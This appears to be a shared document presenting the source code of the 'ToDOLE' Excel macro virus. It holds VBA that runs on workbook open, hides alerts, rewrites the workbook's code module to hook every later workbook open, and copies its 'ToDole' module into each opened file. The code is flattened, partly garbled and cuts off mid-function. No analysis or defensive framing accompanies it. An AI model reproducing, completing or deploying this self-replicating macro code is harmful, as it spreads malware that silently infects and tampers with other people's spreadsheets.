ToDOLE病毒源码.docVIP

Private Sub auto_open() Application.DisplayAlerts = False If ThisWorkbook.Path Application.StartupPath Then Application.ScreenUpdating = False Call delete_this_wk Call copytoworkbook If Sheets(1).Name Macro1 Then Movemacro4 ThisWorkbook ThisWorkbook.Save Application.ScreenUpdating = True End If End Sub Private Sub copytoworkbook() Const DQUOTE = With ThisWorkbook.VBProject.VBComponents(ThisWorkbook).CodeModule .InsertLines 1, Public WithEvents xx As Application .InsertLines 2, Private Sub Workbook_open() .InsertLines 3, Set xx = Application .InsertLines 4, On Error Resume Next .InsertLines 5, Application.DisplayAlerts = False .InsertLines 6, Call do_what .InsertLines 7, End Sub .InsertLines 8, Private Sub xx_workbookOpen(ByVal wb As Workbook) .InsertLines 9, On Error Resume Next .InsertLines 10, wb.VBProject.References.AddFromGuid _ .InsertLines 11, GUID:= DQUOTE {0002E157-0000-0000-C000-000000000046} DQUOTE , _ .InsertLines 12, Major:=5, Minor:=3 .InsertLines 13, Application.ScreenUpdating = False .InsertLines 14, Application.DisplayAlerts = False .InsertLines 15, copystart wb .InsertLines 16, Application.ScreenUpdating = True .InsertLines 17, End Sub End With End Sub Private Sub delete_this_wk() Dim VBProj As VBIDE.VBProject Dim VBComp As VBIDE.VBComponent Dim CodeMod As VBIDE.CodeModule Set VBProj = ThisWorkbook.VBProject Set VBComp = VBProj.VBComponents(ThisWorkbook) Set CodeMod = VBComp.CodeModule With CodeMod .DeleteLines 1, .CountOfLines End With End Sub Function do_what() If ThisWorkbook.Path Application.StartupPath Then RestoreAfterOpen Call OpenDoor Call Microsofthobby Call ActionJudge End If End Function Function copystart(ByVal wb As Workbook) On Error Resume Next Dim VBProj1 As VBIDE.VBProject Dim VBProj2 As VBIDE.VBProject Set VBProj1 = Workbooks(k4.xls).VBProject Set VBProj2 = wb.VBProject If copymodule(ToDole, VBProj1, VBProj2, False) Then Exit Function End Function Function copymodule(ModuleName As S